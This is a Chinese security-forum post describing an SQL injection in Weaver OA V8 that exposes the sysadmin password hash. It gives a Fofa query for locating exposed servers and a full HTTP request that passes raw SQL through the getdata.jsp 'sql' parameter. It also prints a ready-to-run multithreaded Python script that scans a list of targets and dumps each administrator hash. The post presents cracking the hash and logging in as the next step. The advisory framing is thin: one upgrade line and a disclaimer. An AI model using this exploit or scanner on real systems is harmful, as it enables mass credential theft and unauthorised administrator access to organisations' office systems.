安全矩阵

 找回密码
 立即注册
搜索
查看: 2640|回复: 0

泛微OA V8 SQL注入获取系统管理员密码信息

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2021-4-20 21:31:40 | 显示全部楼层 |阅读模式
原文链接:泛微OA V8 SQL注入获取系统管理员密码信息

0x01 漏洞说明

泛微协同办公系统OA V8存在SQL注入漏洞,可以通过该漏洞获取系统管理员(sysadmin)MD5后的密码值

0x02 影响版本
  • 泛微OA V8


0x03 漏洞复现
Fofa搜索标题:(注意:互联网的非授权利用属于违法行为)

app="泛微-协同办公OA"

该漏洞是通过前台注入,查询HrmResourceManager中的password,返回的即时系统管理员(sysadmin)的密码MD5值。
数据包如下:
  1. GET /js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%20id%20from%20HrmResourceManager HTTP/1.1
  2. Host: IP
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
  4. Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
  5. Referer: http://120.211.7.175:8091/login/Login.jsp
  6. Accept-Encoding: gzip, deflate
  7. Accept-Language: zh-CN,zh;q=0.9
  8. Cookie: JSESSIONID=abcKPQwz8VeaP9hDLT5Ix; testBanCookie=test
  9. Connection: close
复制代码



MD5即可获取密码登录:

(这个密码有点皮~),成功登录系统:


批量检测POC:
  1. # 泛微OA V8 SQL注入获取管理员(sysadmin)MD5后的密码信息
  2. # fofa:  app="泛微-协同办公OA"

  3. import requests
  4. import urllib3
  5. from  multiprocessing import Pool
  6. urllib3.disable_warnings()

  7. def title():
  8.     print("[-------------------------------------------------]")
  9.     print("[------------    泛微OA V8 SQL注入     ------------]")
  10.     print("[--------    use:python3 weaverSQL.py     --------]")
  11.     print("[------------     Author:Henry4E36    ------------]")
  12.     print("[-------------------------------------------------]")


  13. def target_url(url):
  14.     target_url = url + "/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%20id%20from%20HrmResourceManager"
  15.     headers = {
  16.         "User-Agent": "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.192 Mobile Safari/537.36"
  17.     }
  18.     # 代理设置
  19.     # proxy = "127.0.0.1:8080"
  20.     # proxies = {
  21.     #     'http': 'http://' + proxy,
  22.     #     'https': 'https://' + proxy
  23.     # }
  24.     try:
  25.         res = requests.get(url=target_url,headers=headers,verify=False,timeout=10)
  26.         if res.status_code == 200:
  27.             print(f"\033[31m[!]  目标系统: {url} 存在SQL注入!\033[0m")
  28.             print("[-]  正在查询sysadmin密码信息.......")
  29.             print(f"[-]  用户: sysadmin    密码MD5: \033[33m{res.text.strip()}\033[0m")
  30.             print("[---------------------------------------------------------------------]")
  31.         else:
  32.             print(f"[0]  目标系统: {url} 不存在SQL注入!\033[0m")
  33.             print("[---------------------------------------------------------------------]")
  34.     except Exception as e:
  35.         print(f"[0]  目标系统: {url} 存在未知错误!\n",e)
  36.         print("[---------------------------------------------------------------------]")


  37. if __name__ == "__main__":
  38.     title()
  39.     # 百度下加了多线程,也不知道对不对,运行没出错我就默认对了哈,不许bb我,有懂的师傅可以指导下小henry^_^
  40.     pool = Pool(processes=10)
  41.     with open("ip.txt","r") as f:
  42.         for url in f:
  43.             if url[:4] != "http":
  44.                 url = "http://" + url
  45.             url = url.strip()
  46.             pool.apply_async(target_url, args=(url,))
  47.     f.close()
  48.     pool.close()
  49.     pool.join()

复制代码

运行效果展示:




0x04 修复建议
升级到最新版本

结束语
本文章仅用于交流学习,请勿使用该漏洞进行违法活动。
https://github.com/Henry4E36/weaverSQL



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-21 03:27 , Processed in 0.030051 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表